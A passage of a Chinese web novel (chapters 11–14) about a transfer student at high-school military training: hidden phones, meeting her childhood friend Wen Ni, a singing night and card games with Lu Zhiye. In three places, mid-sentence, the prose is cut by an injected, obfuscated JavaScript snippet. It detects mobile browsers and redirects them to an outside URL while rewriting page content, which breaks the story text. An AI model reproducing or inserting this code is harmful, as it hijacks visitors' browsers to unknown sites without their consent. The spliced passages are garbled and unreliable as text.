女生宿舍这边。 厉枝眼看着那位短发女教官仔仔细细搜查，搜的颇为细致，心里顿时有些慌。 但好在，面对那个小小的笔袋时，教官只是拿起颠了一下，没有打开。 那一瞬间，厉枝觉得自己呼吸都停滞了。 随后，看着她放下笔袋，转而去别处扫视，厉枝这才彻底放下心来。 教官走后，几个人都是松了口气。 毕竟今天见到的教官们都是一副一本正经不苟言笑的模样，也不知道是真的本性严厉，还是在充当教官的时候才这么严格。 毕竟看着也都是大他们几岁而已的大学生，脸上也多多少少都还有些年轻的稚嫩未完全褪去，勉勉强强算是年上的年纪差不多的人。 “走走走。”几个女生结伴出去。 厉枝有些不解，刚刚就看到她们出门，等教官过来之前才将将回寝，这是做什么去？ 没多会儿，就只见她们回来，神秘兮兮关上门，从怀里掏出了手机。 “还得是你机智啊媛媛，把手机藏到已经检查过了的寝室去，真的绝。”一个女生说道。 李媛媛拨了下自己的马尾，也是一副得意的模样：“这可是从上一届那听来的经验，果然有用。” 看到这副情形，厉枝也没忍住嘴角漾上了笑意。 可惜，她的手机老老实实交……交了吗？ 厉枝突然反应过来，好像……刚刚手机没交出去，在…… 揣了下口袋，竟然在口袋里安安稳稳放着！ 她给忘了。 啊这…… 罢了罢了，这又何尝不是另辟蹊径的藏手机招式呢，既然如此，就好好藏着吧。 - 这天没什么户外的训练，晚上的时候安排了内务整理的教学和考核，也就是传说中的叠豆腐块。 考核顺序按抽签顺序来，女生这边，厉枝她们寝室抽到的是前几个，不过好处是考核完后，距离宿舍楼的宵禁还有些时间，可以在训练基地里走走看看，算是自由活动时间。 这训练基地地方倒是挺大，绿植也挺多，厉枝一个人走着，没有邀请别人一起。 当然，邀请了，也不见得别人就会答应，总之，她觉得一个人就行好。 路边三三两两的灯泛着昏黄的光，两边都是树，郁郁葱葱，在风的吹拂下沙沙作响，晚风微凉。 突然，一处树干后，厉枝看见了一处忽明忽暗的光点，像是……烟的尾巴。 有人躲在这抽烟，是一中的人，身上穿着他们一中统一的军训服。 厉枝本想转身离开，不欲打扰，却见那树边人影动了下，那人逆着光，看向了她。 “喂，站住。” 说完，那指尖的火光倏忽间落在地上，被一脚踩灭。 11. 第 11 章 “喊我吗？”厉枝有些纳闷。 那人叫住她做什么，而且，更令她震惊的是，那个抽烟的人，是个女生。 印象中，好像男生抽烟的多些？ “不喊你喊谁？这里不就我们俩？”那个女生的声音很酷，又带着点凶。 按理来说，被这样拽的人，还是抽烟的，会被老师归位“坏学生”行列的人莫名叫住，她该感到惊慌的，但是不知道为什么，厉枝丝毫不觉得有什么，甚至有点好奇这个酷姐是谁。 那个女生大概是有170的样子，此时，她迈着一双长腿走来，隔着四五步的距离，灯光终于照到她的脸上，厉枝看清了她的模样。 “是你？！你是温旎姐姐吗？”厉枝睁大了眼，有些不敢相信。 温旎，是她小时候还在海城这边读小学时，认识了一个大她两三岁的姐姐，那时候，温旎和她是邻居，还不是住在她现在住的丰源小区，而是在更加老城区的老家。 只是后来她搬家了，那个时候，网上的联系似乎还不是特别普及，她便和温旎失去了联系。 “你是……小荔枝？” 高个女生一开始神色有几分迷茫，像是在记忆库里搜索面前的人是谁，但也不过片刻就对上了号。 “你可真是等比放大，还是和小时候一样可爱。”温旎笑道，揉了揉厉枝的头发，就像小时候一样。 “你也是呀温旎姐姐，还是和以前一样好看。” 明艳动人，却又带着一丝厌世的酷拽，她见过的女生里，就没有见过如同温旎这般的。 在海城见到的第一个相熟的小伙伴，厉枝有些兴奋，难掩开心，话也多了起来。 “不过，你怎么也是高一吗？按年纪来说，应该比我高两届吧。”厉枝有些不解。 “前两年身体不好，留了两级。”温旎一笔带过。 对此，厉枝也没有要再多问的意思，看着温旎现在的模样，想来是养好了身体。 “刚刚，你是在抽烟吧，吸烟有害健康啊，还有啊，军训的强度温旎姐姐你能吃得消吗……” 厉枝忍不住啰嗦几句，就像小时候和温旎一起去楼下小卖部时，温旎管着她不让她多买垃圾食品那般。 “打住打住，你个小屁孩就不要教训起我了，我自己的身体会看着办的，”说完，见厉枝还是一双圆眼真诚非常地盯着自己，温旎有些招架不住，“也就心情不好的时候才碰烟，放心吧小屁孩。” “至于军训的话，看着办咯，受不住就请假呗，反正我来这也不是为了真军训来的。”而是为了一个人。 “对了，我带了薄荷糖，你吃一颗去去味儿吧，免得回头被发现。” 说着，厉枝从口袋里掏出了一颗薄荷糖，不知道在口袋里放了多久，糖都微微有些融化，粘着塑封纸。 温旎看了眼她，随即接过，道了声谢，干脆利落吃了那颗糖。 东拉西扯的闲聊中，厉枝得知，温旎上个礼拜刚满了18岁生日，现在在1班，自己在学校附近租了房子住，一室一厅，客厅也算是她的画室。 在一中，1班是艺术班，2班是体育班，都是有一技之长的人。 想象了一下温旎坐在画架前画画的模样，厉枝觉得自己都要犯花痴了。 真好，以后在一中，她也是有熟人有好朋友的人了。 “宵禁时间还有十多分钟，我们要回去了吗？”马上就九点半了。 “你先回吧，我还有点事。”嘴里的糖冒出咔哒的轻响，是糖被咬碎的声音。 温旎的视线往不远处的路灯看去，此时，一道修长的身影走来，穿着一身训练服，也是迷彩，但不是他们的款式。 那是教官的款式。 来的人，没记错的话是二十几班的一个教官，下午集合的时候匆匆看了个大概。 那个男生带着帽子，光影遮挡下，厉枝看不清他的模样，但显然，这是温旎在等的人，会偶遇她不过是意外的巧合。 厉枝觉得自己确实得先走了，不然，那不是比这一排排的路灯还亮？ 回去的路，正好是那个男生来的路。 和那个男生隔着两三米交错的时候，厉枝觉得那男生好像带着怒气，只是和他对视了一眼，厉枝便不敢再多看。 但走出几步后，厉枝还是觉得不放心，便回头看了眼。 这一看，那还得了？ 那个男生直接拉着温旎的手腕，拉着她往旁边的黑暗处走了几步，温旎像是有些抗拒，挣脱了几下终于挣开了手腕的钳制，却也在二人拉扯中，不知怎的后背撞到了树干上。 嘶—— 干什么呢！？ “……你非要这样……？” “你管我？你是我什么……” 只听到零星的话，厉枝也顾不上想太多，直接冲了回去。 向来100米、50米短跑考试都没及格过的她，此时却跑得格外快。 “你离她远点！” 厉枝推了下那个男生，却是没怎么推动，那人只是身体晃了下，目测他的身高和陆之野差不多，但毕竟是国防生，体格和肌肉都肉眼可见的强悍许多。 “你是她同学？朋友？”明明是被推了，但那个男生此时的怒气看起来反而比之前少些，相反，有种厉枝看不懂的复杂，其中明显些的，似是惋惜。 为什么会有这样的情绪？温旎和这个男生之间，到底有什么故事？ “你知不知道，温旎她……” “顾泽恺！”温旎吼了句他的名字，神色冰冷，“闭嘴。” 而那个叫顾泽恺的男生竟然真的就闭口不谈，只是脸色有些铁青，扭过头去不再看温旎。 厉枝完全一脸懵，搞不清这是什么走向。 温旎她，怎么了？ 厉枝左看看，右看看，期待能有谁给出一个答案，担忧几乎从那双圆眼里溢出来，但那二人都像是在气头上，也都不看厉枝，也什么都不说。 场面一时僵持住。 “厉枝？” 突然，一道声音从马路上传来，厉枝只觉有些耳熟，扭头一看，竟是陆之野。 本来经过时只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829907|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看到背影觉得有些像，但陆之野下意识觉得厉枝这样的乖乖好学生，是肯定不会快宵禁了还在外面，还是在小树林。 可是走近是却越发觉得那背影就是厉枝，一喊，见真是厉枝，还是一脸小苦瓜一样的表情，他下意识就觉得她肯定是被那两个人给欺负了。 三步迈作两步，陆之野一下就走到了三人中间的空位，将将站下他一个人，但也不至于会拥挤到人挨着人。 他挡住了厉枝，看向另外两人。 黑暗的路边树林，越发拥挤热闹。 “干什么呢，巡逻！！” 说着，陆之野还不忘把自己的臂章露了出来，散漫的脸色消失不见，取而代之的，是难得的严肃。 话说完，陆之野拿着手电筒照了下另外二人，试图看清到底是谁。 “是你？” “顾教官？” 被手电筒照的二人几乎同时抬手遮了下光，又同时看向陆之野。 “打扰了，二位自便，这位我就先抓回去了。”陆之野看清后立刻把手电筒压低，随即拉着厉枝的手臂就往外走。 “宵禁时间要到了，赶紧回宿舍。” “但温旎那……” “那是他们的事，你没必要掺和。” 被陆之野拉着大步流星走，一下子就走出了好远，回头也已经看不到温旎他们的身影。 “可以放开我了吧。”厉枝又甩了几下手。 刚刚被陆之野抓太紧，她完全甩不开，不过当时也有点懵，因为温旎那扑朔迷离的情况，但看陆之野和他们相识，便依着陆之野一起离开，但现在反应过来后，终归是要听个解释的。 手臂上的钳制一瞬间松开了，路灯下，厉枝垂眸看了眼，竟然有些泛红。 “不好意思，没注意力道。”陆之野也注意到了，厉枝那白皙的手臂上，一片红红的格外显眼。 女生这么脆弱吗？这样就红了？以前那俩天天打闹的时候也没见林曼这样啊……陆之野暗自腹诽。 厉枝将手背在身后，抬眸看着陆之野。 “我有三个问题。” “第一，温旎到底什么情况？你认识她，你应该知道。” “第二，他俩没事吧，那个教官可信吗？” “第三，你……怎么巡逻了？” “小荔枝，你问题很多啊，”一下被问三个问题，陆之野轻笑了下，有些无奈，“但宵禁还有五分钟，你确定现在不要赶回去吗？还是说，想和我一起巡逻？” 触犯宵禁，便算是违反了军训期间的规定，违反规定，自然是有惩罚，所以，想来陆之野也是违反了什么，例如没上交违禁物品才被派来巡逻。 “那大可不必，那就回答第二个问题吧，不然我不放心。” 把温旎留在那和顾教官在一起，虽然直觉顾泽恺不是坏人，一开始的怒气虽然有些冲，但反应过来后，似乎也能品出些无奈和恨铁不成钢，可厉枝还是不能完全放下心来。 “你就放心吧，这世上最在意她安危的人，大概也就顾泽恺了。” 12. 第 12 章 虽然中间有很多她不知道的事，但得了肯定答复，厉枝稍稍放下了心。 等下次再找个机会问问温旎吧，虽然她刚刚制止了顾泽恺的话，似乎是不愿被知道往事，但厉枝没法不担心。 “那我走了。”说完，厉枝便往回跑。 离宵禁的时间不长了，宵禁后，大家也不能随意串门，于是去找温旎的主意只得打消，而且她不知道温旎在哪个寝室。 不过……都要宵禁了，温旎还能来得及回宿舍吗？厉枝边跑边想着。 看着女生跑远的背影，陆之野叹了口气。 这都是第几次看到她离开的背影了。 马路上空无一人，只有他的影子被路灯无限拉长，男生单手插兜，左看看右看看，本是惩罚的巡逻却被硬生生走出种散步的怯意感，手电忽闪向着远方。 厉枝回头看时，看到的便是这样一幕。 —— —— 第二天，军训正式开始。 站了一天的军姿和走正步，厉枝觉得自己腿都要断了，其他人也没比她好太多，都在骂骂咧咧。 可这才是军训刚开始。 期间，厉枝有看到顾泽恺的身影，比起昨晚的模样，白天里他倒是一本正经得很，从他的举止完全看不出昨晚发生了什么。 虽然军训苦，但少男少女们也不会真苦着自己，苦中作乐都是一把好手。 总算是到了晚上，不再是白天时那般一板一眼的训练，以班级为单位，开始了拉歌比赛。 15和16班的人坐成两个半圆，围在一起。 天空无云，月亮很圆，比操场的大灯还更加明亮。 厉枝看了眼那头的陆之野，他在半圆的最那边，而她在最这边，一头一尾，相隔最远。 “有没有要上才艺的？这可是军训保留节目，每个班都总有几个上才艺的才行啊。”带他们排的教官道，声音中气十足。 一开始，大家都你看看我，我看看你，没人第一个站出来，毕竟在大庭广众之下表演，多多少少还是需要些勇气，也得有东西拿的出手才行。 而此时，不远处别的班已经有人弹起了吉他，热闹的很，不少周围班级的人都被吸引了视线。 厉枝也跟着看了过去。 那个男生坐在圆圈的中央，腿自然盘起，正轻轻唱着一首情歌，是当下最火的一首。 “哎，那个男生好像是重点班的江铭，听说本来是稳进尖子班的成绩，但他偏偏想在重点班呆着，大佬的脑回路我不懂。” “可能不想学习压力太大吧，毕竟咱们尖子班肯定比重点班卷，额外补课和小测什么的，指定更多。” 听到周围女生的交谈，厉枝又成功把一个学霸的名字对上了脸。 原来这就是江铭。 越来越多的人被那吉他声和歌声吸引过去，甚至刚刚说话的那两个女生都跃跃欲试，想要去那边班上凑个热闹，有两个胆子大些的已经偷偷溜过去了。 “嘿哟？你们还没人上才艺？待会儿都跑别的班去看了，有损班级的面子啊，怎么样，别藏着掖着了，是骡子是马遛遛呗？”教官继续鼓励大家上。 “我来唱个歌吧。” 一群坐着的人里，苏佳宁站了起来。 厉枝不得不佩服她的勇气，又是当班长，又是带头上才艺，而且都很游刃有余的样子。 她丝毫不怀疑苏佳宁的唱功，肯定是好听的。 16班班长上了，那15班呢？ 像她这般的想法不止厉枝一人，15班的几个也都开始起哄。 “阿野，人家班长上了，我们班班长不上？”林曼道，还不忘推了陆之野一把。 “你不是会弹吉他吗？给隔壁班长伴个奏呗？” “这有吉他！”又有人说道，赶忙把吉他传到了陆之野手中。 陆之野本只想坐坐，吹吹风，有才艺就随便看看，没有想自己上的意思。 但被这般赶鸭子上架，他倒也不恼，接过吉他，拨弄几下，调了调音，便站起身，往中间走去。 苏佳宁就在中间，在等着他。 陆之野看了圈四周，视线似乎在一处停的久了一点点，随即，只听他淡淡道—— “想去看江铭的可以收收心了，他吉他还是我教的呢。” 大家发出起哄声，给足陆之野排面。 而陆之野一出场，不仅是原本打算开溜的班上同学都老老实实坐下了，别的班的也悄摸摸来了些人，这个圈越来越壮大。 “你会哪几首？伴月会吗？”苏佳宁问道。 听到歌名“伴月”的一瞬，厉枝忽然有种被击中的感觉，身体僵住了一瞬。 那首歌，不就是在大巴上时，陆之野耳机里的歌吗。 那个时候他把耳机凑近了她的耳边，隐隐约约她便听到了一小段，正是伴月。 这歌，倒是应景。 看着月光下并肩站着的那两人，苏佳宁抬眸看着陆之野，陆之野垂眸看着苏佳宁，这怎么能不般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829908|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配呢？ 心里，好像有种空落落的感觉。 “没问题。” 陆之野在地上席地而坐，指尖撩拨几下，前奏便开始了。 很好听。 周围仿佛都安静了下来，大家都在静静听着这吉他声，从陆之野的手中倾泻而出。 随后，苏佳宁踩准点切入。 月光都似乎变得更明媚了些。 厉枝也听进去了，苏佳宁的歌声果然如预料那般好听，甚至还更好听些。 周围的人越来越多。 歌曲间隙，有个人起哄让陆之野也唱一唱，闻言，苏佳宁便将那充当麦克风的卷起的本子递到陆之野的面前。 男生微微避开了些，但周围的同学都在起哄让他唱，终究是妥协。 “你说你是星星，微不足道，隐入黑夜； 你说我是月亮，众星相拥，满身清辉； …… 月亮终会奔你而来； 你是触目所及，唯一的星。” 尾音淡出，伴随着吉他琴弦一同停止，那一瞬，大家甚至没第一时间鼓掌，而是沉浸在陆之野的歌声和指尖跳跃的音符中，隔了一两秒，才是如雷的掌声。 “陆之野！”“陆之野！” 林曼第一个带头，她旁边的徐佳航也在她的肘击下配合地喊陆之野的名字，两人啦啦队这么一弄，周围自然是一个接一个，顿时，周围都在喊陆之野。 而圆圈中央的主人公只是淡定摆了摆手，却也笑得肆意，从容非常。 “下一个下一个。” 陆之野将吉他朝周围递了一圈，刚刚热了场子，此时也有更多人参与进来。 陆之野本想往之前坐的位置走去，但人一多，刚刚的位置早就已经被人给坐了，只得找别处，环视了圈，他这才发现好像少了个人。 刚刚她不是还坐在那的吗？什么时候走的？ … 厉枝是在大家起哄的时候静静离开的。 这样的活动，她本来就没什么参与感，不过是坐在角落充当观众罢了。 脑海里还回旋着陆之野的歌声。 是啊，那首歌的一些歌词不就是写的他们吗。 陆之野是月亮，众星捧月，一如现在。 而她，是隐入夜空的星星，无人能注意到，就像她现在离开班级，也没人注意到。 月亮怎么会奔星星而来呢？ 他不需要做什么，只需要站在原地，就是繁星满天啊…… 13. 第 13 章 收拾好自己的情绪，厉枝看了看方向，往1班走去。 她要去找温旎。 路上，热闹的景象四处可见。 不仅仅有才艺表演，还有三三两两闲聊的人们。 忽然，厉枝看到个身影，有些眼熟，是……顾泽恺。 他不如白天那般站得笔挺，此时也放松下来了，站在圈外守着自己负责的班级，那个圆圈内此时正有一个女生在唱歌，但他的视线却并没落在圈内。 厉枝顺着他的视线看去，那怎么有点像是她要去的方向、温旎所在的1班呢？ 正巧这时，一曲毕，那个女生站了起来。 “顾教官！” 如梦初醒般回神，顾泽恺望向声源处。 “什么事？” “顾教官你有女朋友吗？没有的话，我能排个队吗？”那个女生红着脸，朝着顾泽恺喊道。 周围是一片起哄声。 抛去白天里教官的身份不谈，这些带军训的教官们于大家而言，也不过是大个几岁的小哥哥小姐姐，也都还是大学生，年纪差得不大，而这其中也不乏长相帅气好看的。 顾泽恺便是其一。 看到这一幕，厉枝哪能想到，路过而已，还能顺路吃个瓜，顿时停下了脚步。 佩服那女生的勇气的同时，也想看个究竟，看顾泽恺是如何反应。 只见他站得更直了些，双手仍旧环抱在身前，视线转淡淡落在那个女生身上，即使被一大圈子人看着、起哄着，也还是冷冰冰的神色。 “没有，不能。”他很快答道。 “既然没有女朋友，那我为什么不行，还是说，顾教官你有喜欢的人？”女生追问。 这下，顾泽恺却是没立即回答，又或者是他不想回答这个问题。 但所有人都在看着他，期待他给出些什么回应。 “不行就是不行，哪有那么多为什么，”顾泽恺表情严肃了几分，又变得如白天带军训那般，“要是不想明天加练，就收收乱七八糟的心思。” 这下，没人再起哄了，不想第二天甚至之后几天被加训是主要原因。 “那三年后我去F大找你！” 那个女生中气十足，说完后便一溜烟跑了，搞得顾泽恺也不好再揪着这事说些什么，只得作罢，这事也算翻篇。 “还看什么看？有才艺就上，不想玩了就结束，回宿舍待着。” 被这么一喊，其他学生也都不敢再八卦些什么，又赶紧珍惜玩耍的机会玩闹了起来。 呵。一声无人可闻的冷笑，又似乎是苦笑。 “三年后……我早都毕业了，人都不知道在哪。”顾泽恺囔囔了句。 转头没走出几步，顾泽恺就正好碰上了吃完瓜还没来记得走的厉枝。 “你怎么来这了？”他眉头皱了下，下一秒却是往周围望了圈。 “经过，只有我，温旎不在。”厉枝猜他是在找温旎，以为温旎会和她在一块。 见顾泽恺只是“哦”了句，没有要再搭话的意思，厉枝便直自觉离开了那，继续踏上去1班的方向。 好不容易是找到了，但看了一圈，温旎不在1班2班的这块，也不知道哪去了。 这边的表演比起其他班，更加热闹得多，毕竟是艺术生和体育生。 此时，有三个女生正在跳女团舞，，即使穿着的是军训服，也不影响她们舞蹈的精彩。 厉枝也没心思多看，转身正要离开，结果被地上一瓶水给绊倒，直直往草地里摔去，双手撑地，摔了个结实。 “嘶……” 还好是草地，要是是水泥路面，这样摔着怕是得疼死。 “没事吧？” 一只手伸到了她的面前，皮肤是古铜色的，像是体育生的特色，想来是2班的人，视线往上，是一张有些奶狗的面孔，倒是有些反差。 “没事。”厉枝没有去握那只手，而是自己撑着地站了起来。 但手掌根刚刚撞到的地方隐隐有些疼。 “你是哪个班的？”那个男生大方收回了自己的手，也没尴尬，问道，“我送你回去吧，在我们这摔的，可不得负责？” 厉枝想说，其实大可不必，但那个男生已经自顾自和她一块走，明明说了不用他送，他还非热情相送。 走到15、16班所在的地方时，厉枝刚想说她到了，他可以回了，只听那个男生说—— “和我猜的一样，果然是15/16班的乖学生。” 说着，还摸了下厉枝的头发，以他的身高，不过是轻轻一抬手的事。 “再见咯。” 说完，体育生笑着退了几步，拉开了和厉枝的距离，似是依依不舍，走出几步才转身离开。 厉枝还愣在原地。 她刚刚……被一个男生摸头了？ 不远处，光线不算特别亮的一处，一道视线正看着厉枝的方向。 “喂，阿野，到你出牌了。” 被喊到的人不着痕迹收回视线，轻轻甩出了一组炸。 “什么鬼啊，这就炸了？” “你就说要不要。”男生歪了下头，道。 “不要。” “三带一，要不要。”“一对二。”“一张6.” 陆之野摊了下自己的手，牌已经打完。 “啊啊啊，你这牌也太好了吧，可恶啊！” 林曼不服，看了眼徐佳航的牌，看他牌也稀烂，不得不接受二打一也输了的事实。 - 十分钟前，陆之野刚下节目，也没坐回去，被林曼拉着一起打牌，找了处离班上不远的但光线一般的地方。 打扑克牌这种活动，虽然现在是休闲时间，但还是躲着点教官为好，万一扑克牌就被收缴了呢。 陆之野之前被罚巡逻，就是因为扑克牌。 这牌，还是在学校集合时林曼塞他们书包里的，因为她自己包放不下了，便顺手一人分摊一副。 结果哪想得到，查寝的时候，被查出来了一副，是在陆之野的包里被发现的，幸存的这副，是在徐佳航的包里，掉到了夹层，这才逃过一劫。 “下一把下一把！我就不信了！”林曼开始洗牌。 “不打了，没意思。”陆之野单手撑地，站了起来。 “诶诶不行啊！两个人没法打了啊！” “那你再喊别人呗。”陆之野掸了掸自己衣服上的草屑，眼神漫不经心往不远处看了眼。 林曼也四处看了下，正好看到厉枝一个人站在原地。 虽然上次蚂蚱那件事吓得她不清，但是不怕虫的女孩子，她林曼respect！ “厉枝！”林曼喊道，朝厉枝招了招手。 还沉浸在被摸头的愣怔中，厉枝直到林曼喊她第二声才听到。 “诶？” 于是，半分钟后，厉枝加入了扑克牌队伍。 “你不是说不打了吗？”林曼瞥了眼陆之野，有些无语。 一个男生也这么出尔反尔的，也是绝了，这家伙也太依着性子想一出是一出了。 “别处太闹腾，况且，这牌我不打岂不是亏了？” 这话一出，林曼就不敢造次了，毕竟是她说要带牌的，也是她塞人家书包的，然后被罚也是因为这牌…… 见厉枝对这话有些不解，眼神似乎在说“为什么就亏了”，林曼赶忙几句话解释了下来龙去脉。 厉枝了然。 原来昨晚陆之野会巡逻，是这个缘故。 昨天没得到的答案，倒是兜兜转转从别人口中听到了，而当事人正在懒洋洋看着手里的牌慢悠悠整理。 看向他的时候，却没想陆之野倏然抬眸，稳稳捕捉到了她的视线。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829909|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “会不会打牌？”陆之野眉眼微挑。 他们四个人是打斗地，开局厉枝和陆之野分到了一边。 “会的。”厉枝赶紧排好最后一张牌，严阵以待，神色认真。 可看在别人眼里，厉枝的动作完全就像是初学者，一手牌握在手里都有些勉强，好像碰一下就会掉一地。 陆之野无声笑了下，也认真起来，心里默默开始计算。 … 一轮过后，厉枝第一，陆之野第二，他们这边完胜。 林曼认命继续洗牌。 “无语了，你俩怎么这么厉害，尤其是厉枝，我一开始还以为你是不会打牌的那种呢，没想到和阿野旗鼓相当。” 被这么夸，厉枝有些不好意思，微微低下头。 “就……之前家里长辈喜欢玩些棋牌类的，我看得多，偶尔人不够就陪着玩玩。” “而且，这把是手气好，牌好。” 还在南城的时候，她外公外婆特别喜欢打牌打麻将，每次跟着母亲去老家时，都会打上几局，南城那边好这口的人也多，氛围很足，怕是想不会都难。 看女生两只手抓着草地，一副不好意思的模样，陆之野看了一两秒，又默默收回了视线，头微微朝厉枝的方向侧了侧。 “我在网上看到说，被摸头不仅容易头发油，还容易长不高。”陆之野用只有他们两人听得到的声音，说道。 陆之野忽然靠近，厉枝本来并没有注意到，因为她强迫自己不要去注意他的一举一动，确实也有点成效。 只不过，声音是屏蔽不了…… 此时听到他这么说，厉枝突然就反应过来，刚刚她被体育生摸头的一幕被陆之野看到了！ 心里顿时有种说不出的紧张感。 随即她瞬间让自己冷静了下来，觉得说看到了不就看到了，不过就是被这么打趣一句罢了，也没什么，没必要放在心上。 但……被摸头，头油合情合理，但是长不高是什么鬼啊，有科学依据吗…… “或许……多读书，少上网？” 厉枝甚至头都没朝陆之野的方向转半分，小声回敬了句。 她没扭头，所以看不到陆之野此时是什么表情、什么反应，只是，她没听到陆之野再说什么。 大概是被她刚刚一句话堵死了吧。 正好这会儿，林曼已经洗好了牌，便自然而然算是翻篇，开始摸牌。 没一会儿，战局过半，局面胶着。 “嘶……出什么好呢。”轮到徐佳航出牌，却是纠结。 “出这个好些。”旁边，一道声音传来，甚至一只手出现，在徐佳航的手边指了下。 “嗯……”徐佳航思考了一秒，觉得不错，“那就这个。” 但他出完后，抬眸，见面前三人都直勾勾看着他，和他身后，而三人手里原本扇形展开的牌，此时都齐齐收拢到手里。 徐佳航脖子有些僵硬地往后扭头…… “教官好啊，打牌很厉害嘛……” 来人是他们班的教官，刚刚的指导，正是来自他。 “一般一般，”教官笑道，“你们知道有个传统吗？就是检查寝室的时候不要真的太严格，毕竟得给学生留点乐子不是，毕竟大家也都是学生过来的。” “哈哈……是啊！教官你说的太对了！”林曼捧场，脸上挂着尴尬的笑。 “不过，后面慢慢抓，也是我们的乐子哦，”白天里一本正经的教官，此时笑得有些狡猾，“不自觉、不听话的小朋友，可是要受到惩罚的，今天晚上收获颇丰，这两天的巡逻已经满了，你们就过两天排吧。” “新学期第一课，一定要自觉，不管是学习，还是别的什么。” 临走时，教官还语重心长撂下这么一句，带着收缴的扑克牌转身离去。 四人：“……” 14. 第 14 章 四人坐在原地，中间少了的，是刚刚还铺了一地的扑克牌。 “完球了……”林曼仰天长啸，谁能想到的，这军训的水这么深，教官们玩这手！ 虽然确实教官话说得没错，但……哎，只剩叹息。 “我去看表演去，有没有一起的？”林曼站起身来。 徐佳航也站了起来，没说话，但显然是要一起去的意思。 只剩陆之野和厉枝还坐在原地。 “我就不去了，刚刚看了看。”厉枝婉拒。 “那有啥班上的比较好看？推荐推荐？” “……体育班艺术班那里吧，嗯…挺精彩的。” 闻言，林曼就拉着徐佳航去了，走前瞥了眼陆之野，看他没有要起来的意思，也就不喊他一起了。 继续坐了两秒后，厉枝站起身，打算离开。 在这尬坐着也没什么意思。 “厉枝，”陆之野喊了句她的名字，“坐下，聊聊？” 起到一半，厉枝终究是坐了回去。 “聊什么？”她淡淡道。 现在的她，面前陆之野，已经可以用平常心的，虽然是压制后的结果，但也够用。 “你爸他……”陆之野开口。 “你和我一个小区的，认识我爸，并且我爸有拜托过你，让你对我关照一二，毕竟我俩一个班的，你熟悉一中，而我初来乍到，对你来说也只是举手之劳，所以你答应了，我说的对吗？” 噼里啪啦输出了一顿，厉枝的语气始终平平，看着陆之野的眼神也是毫无波澜。 只是背在身后的手，终究是攥得紧紧的。 想说的也大差不差就是这些，却是被抢了先，陆之野愣了下，随即闭上嘴，勾唇笑了下，才道—— “对。” 听到这个回答，厉枝的心沉了沉。 果然是这样。 背在身后的手倏地松了，像是失去了力气。 像是放下了什么。 厉枝莞尔一笑，道：“谢谢你啊，陆之野，谢谢你的热情，谢谢你不着痕迹带我融入你的圈子，融入这个班，我真的挺感谢你的。” 被这么劈头盖脸地感谢了一顿，在与人相处时向来游刃有余的陆之野，此时却有些不知道该回些什么。 他一开始开口，是想说什么来着？ 哦，好像是想说——“你爸他让我关照你一二，所以好心劝说两句，别随随便便就被别的男生给撩拨到，也别随随便便就让人摸头，那不好。” 但，面前的女生虽然看着像是小白兔，可其实机灵的很，只不过稍微有些内向。 想来也是不用他多说什么了。 不过……怎么感觉来军训这两天里，小白兔有点奇奇怪怪的感觉，但他又说不太出是哪里奇怪。 “不客气。”他回了句，有些干巴巴的。 “还有我被说关系户的事，也要谢谢你帮我。” 这事，还是昨天晚上她才知道。 之前因为这件事，班上不免有些人对她明里暗里戴着有色眼镜，但昨晚宵禁前赶回寝室时，正巧撞见李媛媛她们几个在寝室聊天，在聊她。 然后她才知道，在15班的无老师的班群里，作为班长的陆之野，昨天开学典礼后，就发了个群公告，说明了厉枝的考试成绩。 此外，还贴出了一张照片，是成绩条，成绩条的背景，像是办公室统一的那种实木桌。 公告的最后，是一本正经的话：“大家都是有缘才能聚在一个班，希望大家消除偏见，同学之间相互友爱，共同进步。” 群，是开学前两天、出了分班结果之后，便三三两两你拉我我拉你，在开学之前就已经凑齐了一个班的人，只剩厉枝还没有加群。 寝室的人说，大概是特意想先在厉枝没进群的时候，把事情说明白，所以陆之野作为班长，甚至是同桌，明明拉人就是几秒钟的事，却还没把人拉进去。 她们解释的时候，厉枝在想的，是开学典礼时，陆之野的姗姗来迟。 原来那个时候，他真的是去办公室了，但她没想到，是为了她的事。 “真的，非常感谢。”厉枝再次道谢。 说出这些话之后，心里好像忽然坦然了几分，尽管是出于“关照一二”，但她却也在这短短的两天相识里，越发清楚认识到—— 就算没有这所谓关照，事情的结果也不会变，她还是会被他所吸引，就像是一个达到条件后必然发生的化学反应那般。 于她而言，那个条件是楼梯间的初遇。 只是现在的情况，大概是加了催化剂吧，只是更快了些罢了。 她已经坦然接受了化学反应发生的结果，但也知道，仅此而已。 之后还是该做什么做什么，像她答应过父母的那样，好好学习，考一个好大学。 其余的，都藏起来。 看着厉枝澄澈的眼眸，陆之野忽然觉得有种说不上来的感觉，觉得好像少了点什么，但又不知道是哪里少了，又是少了什么。 